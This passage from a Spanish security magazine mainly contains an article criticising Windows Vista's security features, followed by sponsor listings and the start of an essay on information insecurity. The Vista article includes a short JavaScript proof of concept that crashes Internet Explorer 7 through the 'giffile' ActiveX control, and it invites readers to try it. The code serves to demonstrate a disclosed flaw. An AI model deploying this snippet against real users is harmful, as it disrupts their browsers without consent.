red una única salida a Internet , por lo<br />

que con los cambios tecnológicos y<br />

de infraestructura esta funcionalidad<br />

se está volviendo obsoleta, haciendo<br />

necesario que reflexionemos sobre<br />

buscar alternativas a sistemas que ya<br />

no dependan únicamente de un default<br />

gateway, si no que tengan la posibilidad<br />

de suplir esta necesidad, ya que las<br />

compañías requieren siempre estar en<br />

línea y no se permite tener excusa que<br />

por falla en los canales de comunicaciones<br />

la operación de la compañía se<br />

vea interrumpida. Siempre se debe<br />

tener presente que una falla puede<br />

ocurrir y se debe estar preparado en<br />

como solucionarla en el menor tiempo<br />

posible y con los mínimos recursos<br />

necesarios. l<br />

27


Seguridad en<br />

Windows Vista<br />

Oscar Martínez Pérez<br />

Vamos a ocuparnos de analizar sus sistemas<br />

de seguridad y el concepto que tiene<br />

este sistema operativo para asegurarnos<br />

que merece la pena actualizar nuestros ya viejos<br />

Windows XP. Windows Vista, centra su concepto<br />

de seguridad en cuatro pilares básicos, Windows<br />

defender, Copias de seguridad, Internet Explorer<br />

7 y Medios de control parental.<br />

Si entramos en el portal de Microsoft, podemos<br />

observar como en su definición de Windows<br />

defender, dicen hemos decidido ayudarte a<br />

eliminar algunas cosas con Windows defender.<br />

Cosas como elementos emergentes, spyware<br />

y otro software no deseado. Nos imaginamos<br />

que probablemente no lo echarías de menos.<br />

Nota Mental: Aprovecho para decir, que pensar<br />

en el usuario final, esta muy bien, y es muy<br />

loable, sin embargo, decidir a estas alturas<br />

como haciendo un favor a todos los usuarios<br />

que durante años han sufrido las carencias<br />

de seguridad de los sistemas operativos de<br />

Microsoft, que nos quieren ayudar, cuando el<br />

producto es de Microsoft, y las cifras multimillonarias<br />

de esta empresa hablan por si solas, me<br />

parece como profesional del gremio una falta<br />

de respeto. No hace falta que nos digan que<br />

sus sistemas operativos, han sido testeados<br />

28 www.<strong>hakin9</strong>.org/es<br />

El coloso Microsoft, que lanzó en<br />

Octubre del 2001 Windows XP,<br />

vuelve a la carga con una nueva<br />

versión, de su sistema operativo<br />

Windows, por el que ha recibido<br />

durante años, críticas y alabanzas<br />

de todo tipo. Según Microsoft<br />

con esta nueva apuesta, lanza<br />

un sistema operativo, mucho<br />

más sencillo y divertido, pero<br />

sobretodo seguro.<br />

por los usuarios, y profesionales que durante<br />

años hemos hecho de beta testers eso ya lo<br />

sabemos.<br />

Windows Defender<br />

Por todos es sabido, lo molesto que es el<br />

spyware, es por ello que Microsoft ha creado<br />

En este artículo aprenderás<br />

• El concepto de seguridad de Windows Vista.<br />

• Los secretos de seguridad del nuevo antispyware<br />

de Microsoft, Windows Defender.<br />

• Vulnerabilidad DoS (denial of service) en Internet<br />

Explorer . Como se puede colgar el nuevo<br />

navegador Internet Explorer 7 con tan solo 5<br />

lineas de código.<br />

Lo que deberías saber<br />

• Que es un ataque DoS: (denial of service):<br />

Ataque a un sistema de ordenadores o red que<br />

causa que un servicio o recurso sea inaccesible<br />

a los usuarios legítimos.<br />

• Que es un Fuzzer: Un fuzzer es un programa<br />

que intenta descubrir vulnerabilidades de seguridad.


Windows defender, una aplicación<br />

que no deja de ser un software antiespía<br />

actual, auto actualizable online,<br />

que detecta y elimina software<br />

o programas espía. La aplicación es<br />

gratuita y se puede descargar de:<br />

http://www.microsoft.com/athome/<br />

s e c u r i t y / s p y w a r e / s o f t w a r e /<br />

default.mspx.<br />

Actualmente el software está<br />

disponible únicamente en inglés,<br />

alemán y japonés, y para usarlo es<br />

necesario disponer de una copia<br />

legítima de Windows XP o 2003.Las<br />

traducciones a más idiomas se irán<br />

sucediendo posteriormente.<br />

Windows defender viene incluido<br />

en todas las versiones de Windows<br />

Vista. En la primera versión Beta 2<br />

de Windows Defender, se reportaron<br />

la friolera de 400 fallos detectados<br />

por unos 34 millones de personas<br />

que lo testearon (¿quien ayuda a<br />

quien? :-D). Microsoft asegura que<br />

en la versión final todos estos errores<br />

están solucionados.<br />

Según Gerhard Eschelbeck, Director<br />

de Tecnología y Vicepresidente<br />

de Webroot Software: Felicitamos<br />

a Microsoft por las notables mejoras<br />

y nuevas ventajas que ofrece Windows<br />

Vista. Sus distintas aplicaciones,<br />

la mejora de las funciones de red y<br />

del soporte gráfico le convierten en<br />

un sistema operativo sorprendente.<br />

Sin embargo, nos gustaría asegurarnos<br />

de que los usuarios son<br />

conscientes de las limitaciones de<br />

Windows Vista. Es nuestro deber<br />

prevenirles de que el sistema de<br />

protección de Microsoft contra virus<br />

y espías no protege al ordenador de<br />

forma completa.<br />

En las pruebas realizadas por<br />

los ingenieros de Webroot, Windows<br />

Defender, fue incapaz de bloquear el<br />

84% de las amenazas incluidas en<br />

una prueba con 15 de los elementos<br />

de spyware y malware más habituales.<br />

Además, en diversas pruebas<br />

Figura 1. Windows vista al descubierto<br />

realizadas por el mismo equipo de<br />

ingenieros de Webroot, Vista, fue<br />

incapaz de detectar diversas amenazas,<br />

como adware, programas<br />

potencialmente no deseados (Pups),<br />

monitores de sistema, espías de teclado<br />

(keylogers) y troyanos. Incluso,<br />

uno de los pups, que se analizó llego<br />

a instalarse con privilegios de administrador<br />

del sistema, para grabar las<br />

pulsaciones del teclado, y Windows<br />

Defender no detecto ni la instalación<br />

ni la ejecución del programa (http:<br />

//www.webroot.com/land/Windows-<br />

Vista-Ready.php?id=HOME-BO-<br />

TTOM-vista#dam_malware).<br />

En cuanto a las actualizaciones,<br />

parte importante de cualquier sistema<br />

de protección y detección de<br />

software malicioso, Windows defender<br />

lo realiza cada siete o diez días,<br />

valorando deficientemente el margen<br />

de tiempo durante el cual nuestro<br />

sistema sería potencialmente vulnerable<br />

contra amenazas de software<br />

malicioso. Vista no sólo es susceptible<br />

al ataque de software malicioso,<br />

también está expuesto frente a<br />

amenazas de virus, ya que en esta<br />

nueva versión sigue sin aparecer<br />

ninguna aplicación antivirus, con el<br />

valor añadido de que los usuarios de<br />

Microsoft Live OneCare (Aplicación<br />

no gratuita, que ofrece los servicios<br />

de, antivirus, cortafuegos, antiphishing,<br />

antispyware, herramientas<br />

administrativas y de mantenimiento,<br />

ayuda en línea y copias de seguridad<br />

automáticas ) pagarán 49,95€,<br />

para estar protegidos ante los virus<br />

y otras amenazas.<br />

De esta forma Microsoft<br />

vuelve a demostrar el afán desinteresado<br />

por ayudar a sus<br />

usuarios,¿Verdad?… todo un detalle<br />

(http://onecare.live.com/site/es-es/<br />

default.htm). Me gustaría recordar<br />

que por el mes de Noviembre del<br />

pasado 2006,para Live Onecare, un<br />

mail de Gmail era un virus.<br />

www.<strong>hakin9</strong>.org/es<br />

Windows Vista<br />

Increible, pero cierto…<br />

Hay dos formas de pensar en este<br />

asunto. Podemos pensar mal y llegar<br />

a la conclusión de que Microsoft,<br />

intentó una fase de competencia<br />

desleal hacia los servicios de mensajería<br />

electrónica que google ofrece.<br />

Por otro lado podemos pensar<br />

bien, y caer en la conclusión de que<br />

se trata de un fallo de programación<br />

del equipo de desarrollo de Windows<br />

live Onecare, pensamiento que sinceramente<br />

no resulta muy complejo.<br />

En cualquier caso, la realidad<br />

es que cuando teniendo activado el<br />

servicio de Windows Live Onecare,<br />

entrabamos a Gmail, desde nuestro<br />

navegador web, y al tratar de abrir un<br />

documento, Windows Live Oncare<br />

nos mostraba una ventana advirtiéndonos<br />

de que el documento que<br />

estabamos tratando de abrir estaba<br />

infectado por el virus BAT/BWG.A.<br />

Deseo confirmar que esto era un<br />

aviso de positivo falso y lo hemos<br />

arreglado (...) Investigaremos cómo<br />

sucedió este falso positivo y tomaremos<br />

las medidas para minimizar los<br />

riesgos de más incidentes, dijo Ziv<br />

Mador, portavoz y coordinador del<br />

equipo de AntiMalware de Microsoft.<br />

De cualquier modo, se sirvió la<br />

polémica, y los afectados finalmente,<br />

para variar, los usuarios, que en cierto<br />

momento no entendían si su sistema<br />

Gmail, estaba o no infectado.<br />

El nuevo navegador<br />

web de Microsoft el<br />

Internet Explorer,<br />

versión 7<br />

Posiblemente el cliente World Wide<br />

Web es más extendido y de mayor<br />

uso en el mundo. Ahora en todas<br />

Figura 2. Interface de información<br />

de detección de virus<br />

29


kit<br />

las versiones de Vista, va incluida<br />

la versión 7 de Internet Explorer.<br />

Internet Explorer 7, salio previo a<br />

Windows Vista, y comenzó francamente<br />

mal. Lo más característico de<br />

su debut, fue un fallo de seguridad,<br />

ya conocido en su antecesor Internet<br />

Explorer 6.<br />

Determina Security Research<br />

descubrió una vulnerabilidad DoS en<br />

multiples controles ActiveX incluidos<br />

en Microsoft Internet Explorer.<br />

Según confirma el Microsoft, esta<br />

vulnerabilidad no puede ser utilizada<br />

para la ejecución de código.<br />

Los controles ActiveX vulnerables,<br />

están disponibles por defecto<br />

en todas las versiones del Internet<br />

Explorer, en Windows 2000, XP y<br />

Vista, en versiones para sistemas<br />

operativos anteriores también son<br />

vulnerables, pero no tienen soporte,<br />

y por lo tanto no se publicarán actualizaciones.<br />

La vulnerabilidad fue detectada<br />

con un fuzzer al instanciar todos los<br />

controles ActiveX en el sistema y<br />

enumerar sus propiedades.<br />

Determina Security Research, descubrió<br />

que múltiples controles causan<br />

errores de excepción, cuando<br />

ciertas propiedades del objeto son<br />

accedidas a través de un programa<br />

en javascript.<br />

La mayoría de los controles ActiveX,<br />

vulnerables, se encuentran en<br />

Figura 3. Colgando Internet Explorer 7<br />

la librería MSHTML.DLL y pueden<br />

ser explotados en todas las versiones<br />

de Internet Explorer. Controles<br />

Vulnerables:<br />

• giffile,<br />

• htmlfile,<br />

• jpegfile,<br />

• mhtmlfile,<br />

• ODCfile,<br />

• pjpegfile,<br />

• pngfile,<br />

• xbmfile,<br />

• xmlfile,<br />

• xslfile,<br />

• wdpfile.<br />

Microsoft Internet Explorer 7, acepta<br />

de manera directa la tabla anterior<br />

mostrada de controles ActiveX,<br />

sin necesidad de solicitar la aceptación<br />

del usuario. Es por ello que<br />

el navegador incurre en un grave<br />

fallo de seguridad y estabilidad.<br />

Para que este tipo de ataque<br />

tenga éxito, el usuario, ha de ser<br />

convencido para que visite un sitio<br />

malicioso y preparado para ello.<br />

Sin embargo, en la actualidad los<br />

conocimientos de la gran mayoría<br />

de los internautas, sobre este tipo<br />

de efectos, son todavía insuficientes,<br />

estando gran parte de la comunidad<br />

de usuarios en peligro, siempre que<br />

existan este tipo de amenazas sin<br />

solventar.<br />

30 www.<strong>hakin9</strong>.org/es<br />

Figura 4. Aviso emergente UAC<br />

¿Queremos colgar el cliente web?<br />

Es muy sencillo y con un código<br />

muy simple.<br />

<br />

<br />

<br />

obj = new ActiveXObject("giffile");<br />

obj.bgColor;<br />

<br />

<br />

<br />

Y como una imagen vale más que mil<br />

palabras, probar vosotros mismos,<br />

podéis cargar la siguiente url, en vuestro<br />

navegador Internet Explorer 7 y<br />

podréis comprobar como instantáneamente<br />

este moderno y seguro navegador<br />

web responde satisfactoriamente<br />

a la vulnerabilidad que acabamos de<br />

DoS (denial of service)<br />

Ataque a un sistema de ordenadores<br />

o red que causa que un servicio o<br />

recurso sea inaccesible a los usuarios<br />

legítimos. Normalmente provoca la<br />

pérdida de la conectividad de la red por<br />

el consumo del ancho de banda de la<br />

red de la víctima o sobrecarga de los<br />

recursos computacionales del sistema<br />

de la víctima.<br />

Se genera mediante la saturación<br />

de los puertos con flujo de información,<br />

haciendo que el servidor se sobrecargue<br />

y no pueda seguir prestando servicios,<br />

por eso se le dice denegación,<br />

pues hace que el servidor no de abasto<br />

a la cantidad de usuarios.<br />

Spyware<br />

El spyware es un software que recopila<br />

información de un ordenador y después<br />

transmite esta información a una<br />

entidad externa sin el conocimiento o<br />

el consentimiento del propietario del<br />

ordenador.


estudiar (http://www.kriptopolis.org/<br />

docs/explorer.html). Más información<br />

en http://www.determina.com/<br />

security.research/vulnerabilities/<br />

activex-bgcolor.html.<br />

¿Qué conseguimos colgando el<br />

navegador? Realmente poca cosa,<br />

más que demostrar la fragilidad<br />

de un producto que lleva años en<br />

el mercado, y que es una de las<br />

características fundamentales que<br />

ha lanzado Microsoft, en todos sus<br />

sistemas operativos.<br />

Las empresas de creación de software<br />

deberían velar por la seguridad<br />

de sus sistemas, además de gastar e<br />

invertir mucho mas esfuerzo, para proteger<br />

a lo que no me cansaré de repetir,<br />

las verdaderas víctimas de estos fallos<br />

informáticos, los usuarios finales.<br />

Hoy en día, a la hora de presentar<br />

un nuevo sistema informático<br />

por alguna de las más poderosas<br />

empresas de software del mundo,<br />

es más probable, encontrarse ante<br />

un espectáculo hollywoodiense que<br />

un acontecimiento informático y profesional.<br />

Donde podemos ver a los<br />

principales responsables de estas<br />

empresas, dando saltos, y gritos,<br />

con una escenografía digna de cualquier<br />

obra de teatro además de unos<br />

efectos musicales y especiales que<br />

seguramente hacen las delicias de<br />

los más exigentes. Con todo esto sólo<br />

Fuzzer<br />

Un fuzzer es un programa que intenta<br />

descubrir vulnerabilidades de<br />

seguridad enviando una entrada<br />

arbitraria a una aplicación. Si el<br />

programa contiene una vulnerabilidad<br />

que puede conducir a una<br />

excepción, el choque o el error de<br />

servidor, como en el caso de aplicaciones<br />

web, puede ser determinado<br />

que una vulnerabilidad ha sido descubierta.<br />

ActiveX<br />

Lenguaje desarrollado por Microsoft<br />

para la elaboración de aplicaciones<br />

exportables a la red y capaces de operar<br />

sobre cualquier plataforma a través,<br />

normalmente, de navegadores WWW.<br />

trato de decir, que gastar verdaderas<br />

fortunas en campañas publicitarias<br />

tan exuberantes, mostrando al mundo<br />

un producto inédito y revolucionario,<br />

sería mucho más interesante, si las<br />

acompañaran y respaldaran con la<br />

conciencia que cualquier profesional<br />

debe de tener en mente al realizar su<br />

trabajo…. profesionalidad antes que<br />

mercadería.<br />

Si no teníamos suficiente con<br />

el Spam. Vista nos trae la nueva<br />

pesadilla emergente: UAC El User<br />

Account Control, mecanismo que<br />

intenta disminuir el efecto de código<br />

peligroso, sobre algunas ope-<br />

www.<strong>hakin9</strong>.org/es<br />

Windows Vista<br />

raciones de acceso a recursos del<br />

sistema. Mediante este concepto<br />

interactivo sistema usuario, esta tecnología<br />

solicitará eventualmente al<br />

usuario que proporcione y certifique<br />

sus credenciales para poder realizar<br />

determinadas acciones.<br />

Si hemos iniciado una sesión<br />

en el sistema como usuario sin privilegios<br />

administrativos, a la hora<br />

de realizar tareas que requieran la<br />

credencial de administrador del sistema,<br />

el UAC nos solicitará que nos<br />

identifiquemos con una cuenta que<br />

disponga de los privilegios administrativos<br />

necesarios para realizar la<br />

Tabla 1. Elementos de spyware y malware utilizadas por webroo<br />

Malware Variación<br />

AgentWinlogonHook Troyano<br />

Backdoor-Banwarum@mm Troyano<br />

Busky Troyano<br />

CashDeluxe Adware<br />

hacker defender Troyano<br />

LDPinch Troyano<br />

Loadcash.Biz Troyano<br />

Peper Trojan Troyano<br />

Playboy Dialer Adware<br />

Search-x-org Hijacker Adware<br />

SEPPBar Adware<br />

TrojanDropper-Agent-ED Troyano<br />

Update Notifier Fake Alert Adware<br />

Worm-Licat Gusano<br />

Zlob Troyano<br />

Figura 5. Interface control Parental Vista<br />

31


kit<br />

acción. Dicho así, no sólo suena, lógico,<br />

minucioso, e incluso tecnológicamente<br />

moderno, sino fuera que desde<br />

hace años, sistemas operativos Unix,<br />

distribuciones gnu/Linux, Mac OS, ya<br />

utilizan este concepto de seguridad<br />

para proteger el acceso a recursos de<br />

sistema. El problema más grave, y lo<br />

que realmente incomoda al usuario,<br />

es la frecuencia con que el UAC solicita<br />

al usuario que se identifique, llegando<br />

a interferir en el trabajo, terminando<br />

por ser un sistema más molesto que<br />

ventajoso. En las versiones Beta,<br />

el ímpetu del UAC era tan exageradamente<br />

espontáneo llegando a ser<br />

tan desquiciante, que Microsoft en la<br />

versión final a relajado su frecuencia<br />

de apariciones.<br />

Existe la posibilidad de que cualquier<br />

usuario pueda desactivar el UAC,<br />

pero lógicamente no sin exponer al<br />

sistema a que ciertos programas realicen<br />

cambios comprometiendo potencialmente<br />

su seguridad, privacidad y<br />

estabilidad.<br />

Control Parental<br />

Podemos controlar, desde límites horarios,<br />

lugares que se navegan, tipo<br />

de aplicaciones que se utilizan, hasta<br />

Figura 6. Interface Sistemas Backup Vista<br />

leer los logs de las conversaciones de<br />

Microsoft Messenger. Es interesante<br />

herramienta de control de usuarios,<br />

donde Microsoft piensa en un uso<br />

doméstico, para el control de los<br />

menores, por parte de sus padres o<br />

tutores. A nivel profesional, poco que<br />

decir, que se podría espiar o restringir<br />

la actividad de los usuarios, y recibir<br />

informes. Incluye un sencillo y práctico<br />

interface para configurar como administrador<br />

del equipo las características<br />

y restricciones que deseemos implementar<br />

para un usuario concreto.<br />

Sistema de copias<br />

de seguridad<br />

Anteriormente en Windows XP, se<br />

introdujo la posibilidad de restaurar<br />

el sistema a un estado anterior, sin<br />

perder información personal.<br />

Vista va más allá y ofrece una aplicación<br />

de copias de seguridad, en las<br />

versiones Home Premium, Business,<br />

Ultimate y Enterprise.<br />

La posibilidad de automatizar las<br />

copias de seguridad, nos evita, tener<br />

que recordar periódicamente realizar<br />

las copias de seguridad manualmente.<br />

Además en las versiones Business,<br />

Ultimate y Enterprise, podemos reali-<br />

32 www.<strong>hakin9</strong>.org/es<br />

Sobre el Autor<br />

Oscar Martinez Perez, Responsable<br />

Dpto. de Sistemas y Desarrollo de<br />

iTiDeaS Soluciones Informáticas<br />

(www.itideas.es), con mas de 10 años<br />

de experiencia como administrador de<br />

sistemas y seguridad informática.<br />

zar la restauración del sistema completo,<br />

si en algún momento tenemos el<br />

sistema corrupto.<br />

El interface es muy intuitivo, y el<br />

asistente nos ayudará paso a paso,<br />

haciendo que realizar y automatizar<br />

copias de seguridad sea una fácil<br />

tarea. Una apuesta importante por<br />

parte de Vista, en estos tiempos en<br />

los que hablar de Teras de información<br />

es ya un hecho. Cuando en<br />

diversas reuniones con colegas del<br />

gremio, se trata el tema del sistema<br />

más duramente criticado y vulnerable<br />

del planeta, siempre hablamos de la<br />

criatura del gigante informático de<br />

Redmond, Windows. Windows, es<br />

sin duda alguna el sistema operativo,<br />

instalado en el mayor porcentaje de<br />

equipos informáticos del mundo, la<br />

exposición por tanto de este sistema<br />

a vulnerabilidades, y errores, es<br />

mucho mayor, que la que tienen otros<br />

sistemas operativos, de no tan extendido<br />

uso. De todos modos, de nuevo<br />

Microsoft, vuelve a ofrecer un sistema<br />

operativo, con una durísima campaña<br />

de marketing comercial, haciéndonos<br />

creer que realmente estamos por fin<br />

ante el Cáliz de la informática.<br />

Finalmente comprobamos, que<br />

el sistema operativo sigue teniendo<br />

fallos que los usuarios vamos reportando.<br />

Vender un sistema como<br />

lo está haciendo Microsoft, con un<br />

concepto de seguridad tan elevado,<br />

no es más que la soberbia comercial<br />

a la que repito, la compañía de Bill<br />

Gates nos tiene acostumbrado y que<br />

dista mucho de la realidad.<br />

Agradecimientos<br />

A mis padres, que son mis imprescindibles<br />

aliados, a mi mujer<br />

Denise, la energía de mi esfuerzo,<br />

y a mi querido amigo y socio Elias<br />

Navarro. l


Club Pro<br />

flag<br />

solutions<br />

I-SEC<br />

Information Security Inc.<br />

Somos una empresa dedicada y comprometida<br />

integramente con la Seguridad de la Información.<br />

Nuestros Servicios se adaptan a la<br />

estructura de su empresa, recomendándole<br />

qué es lo mejor para su crecimiento.<br />

Contacto: www.i-sec.org<br />

Ártica Soluciones<br />

Tecnológicas<br />

Ártica es una empresa de consultoría de capital<br />

nacional formada por profesionales con experiencia<br />

en el mundo de las Tecnologías de<br />

Información. Nuestro ámbito de actuación está<br />

centrado en diversos sectores: industria,<br />

banca, proveedores de Internet, y telecomunicaciones.<br />

Contacto: http://www.artica.es<br />

Flag Solutions<br />

FLAG Solutions es una consultoría tecnológica<br />

que se apoya en 4 pilares básicos: la seguridad<br />

informática, la ingeniería de sistemas, el<br />

diseño corporativo y la formación especializada<br />

para empresas. Proporcionamos soluciones<br />

rentables tanto para la pequeña como para<br />

la gran empresa.<br />

Contacto: www.flagsolutions.net<br />

Ecija Consulting<br />

Somos una consultoría IT, líder en asesoramiento<br />

integral de empresas. Nuestro equipo<br />

formado por abogados, consultores y técnicos,<br />

nos ha permitido especializarnos en el campo<br />

de la seguridad informática, aportando a nuestras<br />

soluciones el valor añadido del conocimiento<br />

de la materia desde el punto de vista jurídico.<br />

Contacto: www.ecija.com, buzon@ecija.com<br />

Root-Secure<br />

Somos una consultoría con un alto nivel de conocimientos<br />

y experiencias en Information Security,<br />

una empresa joven pero con profesionales<br />

con una gran experiencia y reconocimiento<br />

en el mercado. Dedicados de manera exclusiva,<br />

a la Seguridad de la Información sin la visión<br />

de un producto o una marca que vender o<br />

defender, lo cual nos posiciona como una Empresa<br />

con prestigio.<br />

Contacto: www.root-secure.com<br />

Más información: es@<strong>hakin9</strong>.org, tel.: 00 34 917 610 987<br />

Suscripción anual + publicidad durante 12 meses<br />

Seguridad0<br />

Seguridad0 es una empresa española dedicada<br />

a la distribución de productos de seguridad<br />

informática y a la formación. Más información<br />

en su Web corporativa: www.seguridad0.es.<br />

Cuentan con una web dedicada a la<br />

divulgación de noticias de seguridad informática:<br />

http://www.seguridad0.com<br />

Kinetic Solutions<br />

Empresa especializada en implantación de soluciones<br />

de seguridad informática con valor agregado,<br />

brindamos servicios profesionales de protección<br />

y detección a intrusiones informáticas.<br />

Somos especialistas en diferentes materias de<br />

seguridad de la información para atender a nuestros<br />

clientes de organizaciones privadas y gubernamentales<br />

en España y Sudamérica.<br />

Contacto: info@kineticsl.com<br />

JPL TSOLUCIO, SL.<br />

Consultoría en seguridad informática y Tecnologías<br />

de la Información: LOPD, copias de seguridad<br />

(locales y en Internet), gestión avanzada<br />

virus & spam, recuperación ante desastres,<br />

planes de contingencia, redes seguras y monitorización<br />

de sistemas & servidores. Para empresas<br />

de cualquier tamaño. Consúltanos.<br />

Contacto: info@tsolucio.com,<br />

www.tsolucio.com<br />

S.P.W S.L.<br />

Soluciones de Seguridad<br />

Estamos especializados en ofrecer productos de<br />

fácil administración para el responsable de sistemas,<br />

nuestras areas mas definidas son firewalls<br />

Watchguard, unidades Anti-spam, asi como soluciones<br />

antivirus y de backup de Symantec.<br />

Puerto de Canencia, 15 Local 28038, Madrid<br />

Tel. 91 3339250, Fax. 91 3339251<br />

Contacto: spw@spw.es, www.spw.es<br />

Internet Security Auditors<br />

Desde el ano 2001 ofrecemos servicios de Auditoría,<br />

Consultoría y Formación en Seguridad<br />

en TI con un experto y reconocido equipo humano<br />

en hacking ético, seguridad web, outsourcing<br />

y normativas de seguridad. Hable con nosotros.<br />

Y si la seguridad es lo tuyo y te apasiona, contacta<br />

con nosotros.<br />

Contacto: www.isecauditors.com


Inseguridad de la<br />

información<br />

Armando Carvajal<br />

En Europa se utiliza con más frecuencia<br />

la expresión Fiabilidad informática.<br />

Un sistema de información se<br />

considera seguro si se encuentra libre de<br />

todo riesgo y daño, pero es imposible garantizar<br />

la seguridad o la inviolabilidad absoluta<br />

de un sistema informático, en el interesante<br />

libro (Moron Lerma, Esther, (2002), Internet<br />

y derecho penal: Hacking y otras conductas<br />

ilícitas en la red. Editorial Aranzadi S.A) se<br />

sugiere de preferencia utilizar el término fiabilidad.<br />

Que es seguridad informática?<br />

• un sistema de información se considera<br />

seguro si se encuentra libre de todo riesgo<br />

y daño.<br />

• es imposible garantizar la seguridad o<br />

la inviolabilidad absoluta de una sistema<br />

informática por ello es preferible utilizar el<br />

termino el termino fiabilidad.<br />

No se podrá entender la seguridad informática<br />

como un concepto cerrado consecuencia<br />

de la aplicación mecánica de una serie<br />

de métodos, sino como un proceso que<br />

se puede ver comprometido en cualquier<br />

momento de la forma menos sospechada,<br />

34 www.<strong>hakin9</strong>.org/es<br />

La inseguridad de la información<br />

es el reto del encargado de la<br />

seguridad de la información. Cada<br />

nueva vulnerabilidad, cada nueva<br />

falla identificada establece un<br />

reto, no solamente para reparar<br />

los daños y la falla, sino para<br />

comprender la mente del intruso,<br />

los elementos que intervienen en<br />

la falla e identificar la evidencia de<br />

los hechos materializados.<br />

La Seguridad Informática es un proceso<br />

continuo, donde la condición de los controles<br />

de la institución es apenas un indicador<br />

de su postura de seguridad. (FFIEC Information<br />

Security IT Examination Handbook,<br />

En este articulo aprenderás<br />

• Confidencialidad: Los recursos del sistema solo<br />

pueden ser accedidos por los elementos autorizados.<br />

• Integridad: Los recursos del sistema solo<br />

pueden ser modificados o alterados por los<br />

elementos autorizados.<br />

• Disponibilidad: Los recursos del sistema deben<br />

permanecer accesibles a los elementos autorizados.<br />

Lo que deberías saber<br />

• Seguridad de la información: En esencia la<br />

información es lo que mas nos importa proteger,<br />

porque es propio de la organización<br />

especifica, ya que sin duda alguna constituye<br />

uno de los mayores activos de cualquier<br />

organización.


Diciembre de 2002). La seguridad<br />

informática es una idea subjetiva<br />

(Schneier Bruce, Beyond Fear.<br />

Thinking Sensibly about security<br />

in an uncertain world. Copernicus<br />

Books. 2003), mientras la inseguridad<br />

informática es una idea<br />

objetiva, es por ello que no es<br />

fácil tener control absoluto sobre<br />

la seguridad informática, porque lo<br />

subjetivo es incierto, esto no ocurre<br />

con la inseguridad informática,<br />

que sabemos a ciencia cierta, que<br />

nos va a ocurrir si continuamos<br />

conviviendo irresponsablemente<br />

con las vulnerabilidades y los<br />

riesgos inherentes de nuestros<br />

sistemas informáticos<br />

¿Que es seguridad<br />

informática?<br />

• Seguridad informática es un<br />

proceso continuo, donde la<br />

condición de los controles de la<br />

institución es un indicador de su<br />

postura de seguridad.<br />

• La inseguridad es una propiedad<br />

inherente a los recursos informáticos,<br />

la gestión es la única forma<br />

de medirla y aminorarla.<br />

La idea del seguro de vida ayuda<br />

a explicar la naturaleza contradictoria<br />

de los conceptos seguridad e<br />

inseguridad informática, por ejemplo<br />

cuando compramos un seguro<br />

de vida estamos asegurando un<br />

bien subjetivo la vida, lo hacemos<br />

para garantizar que cuando ocurra<br />

el siniestro, es decir para cuando<br />

llegue la muerte, haya una indeminzación<br />

por la falta de los ingresos<br />

económicos que aportaba<br />

el asegurado cuando este estaba<br />

vivo. Notese que la muerte es<br />

Este término se usa con mucha frecuencia en Europa<br />

Que atacan?<br />

• Propieclades<br />

• _____________<br />

• Conficlencialidad<br />

• Integridad<br />

• Disponibilidad<br />

• Ataques<br />

• _____________<br />

• Modificacion:<br />

webdefacement<br />

• Fabricacion: Insertar<br />

nuevo usuario<br />

• Interceptacion: Key<br />

loggers<br />

• Interrupcion: Dos<br />

Figura 1. Características de un<br />

sistema seguro y los posibles<br />

ataques<br />

lo mas seguro en la vida, o ¿alguien<br />

tiene dudas de que algún<br />

día morirá?, por lo tanto lo mas<br />

seguro en la vida es la muerte.<br />

Entonces parece que hay un error<br />

en el nombre que le da la aseguradora<br />

a la póliza de seguros, se<br />

le llama generalmente Seguro de<br />

Vida cuando debería ser Seguro<br />

de Muerte, es interesante que en<br />

informática ocurra el mismo error:<br />

decimos Seguridad Informática<br />

cuando deberíamos decir Inseguridad<br />

Informática.<br />

La inseguridad informática es<br />

pues una estrategia de reflexión y<br />

acción para repensar la seguridad<br />

informática como una disciplina<br />

que es al mismo tiempo sentimiento<br />

y realidad. (http://www.acis.org.co/<br />

archivosAcis/Inseguridad.doc, Jeimy<br />

Cano, 2004).<br />

Propiedades<br />

de un sistema seguro<br />

Hay 3 variables o parámetros que<br />

determinan el estado de un sistema<br />

informático, estos son:<br />

• Confidencialidad: Los recursos<br />

del sistema solo pueden ser<br />

accedidos por los elementos<br />

autorizados<br />

Importante<br />

Por ello se deben destinar los recursos necesarios para su protección y uso en forma<br />

controlada ya que constituye su conocimiento, su diferenciador ante la competencia y<br />

los clientes, que finalmente determinan la continuidad del negocio.<br />

Por favor medite esta pregunta: ¿Tiene dudas sobre la existencia de vulnerabilidades<br />

y riesgos informáticos en su organización?<br />

www.<strong>hakin9</strong>.org/es<br />

35


kit<br />

• Integridad: Los recursos del<br />

sistema solo pueden ser modificados<br />

o alterados por los<br />

elementos autorizados<br />

• Disponibilidad: Los recursos<br />

del sistema deben permanecer<br />

accesibles a los elementos autorizados<br />

Tipos de ataques<br />

Modificación: También llamados<br />

webdefacement buscan comprometer<br />

la confidencialidad y la integridad<br />

del sistema, por ejemplo<br />

cuando un atacante modifica la<br />

página web de una organización<br />

sin previa autorización<br />

Propiedades de un sistema:<br />

• Confidencialidad: los recurso<br />

del sistema solo pueden ser<br />

accedidos por los elementos<br />

autorizados<br />

• Integridad: los recurso del<br />

sistema solo pueden ser modificados<br />

o alterados por los<br />

elementos autorizados<br />

• Disponibilidad: los recurso del<br />

sistema permanecer accesibles<br />

a los elementos autorizados<br />

Fabricación: comprometen la integridad<br />

del sistema por ejemplo<br />

al insertar un nuevo usuario en el<br />

HIGH<br />

LOW<br />

1980<br />

Password<br />

Guessing<br />

LOW<br />

Habilidades<br />

Requeridas<br />

Self-Replicating<br />

Code<br />

Password<br />

Cracking<br />

Sofisticacion del Ataque<br />

Figura 2. Ataques de los sistemas<br />

sistema operativo Interceptación:<br />

Busca comprometer la confidencialidad<br />

del sistema, un ejemplo<br />

son los key loggers o spyware y los<br />

Sniffers Interrupción:<br />

• Comprometen la propiedad Disponibilidad<br />

un ejemplo serian<br />

los ataques de denegación de<br />

servicios o DoS. Veamos una<br />

gráfica de que propiedades<br />

buscan los ataques y su clasificación:<br />

Grado de dificultad<br />

para realizar un ataque<br />

Hoy en día la mayoría de los ataques<br />

están automatizados en CDs<br />

auto ejecutables que son usados<br />

por los atacantes y a su vez por<br />

los auditores de seguridad para<br />

evaluar los sistemas evaluados.<br />

Estadísticamente se dice que a<br />

medida que pasan los años es más<br />

fácil hacer un ataque por que estos<br />

estarán cada vez mejor documentados<br />

y automatizados. Ver figura2:<br />

Exploiting Know<br />

Vulnerabilities<br />

36 www.<strong>hakin9</strong>.org/es<br />

1985<br />

Disabling<br />

A udits<br />

Importante<br />

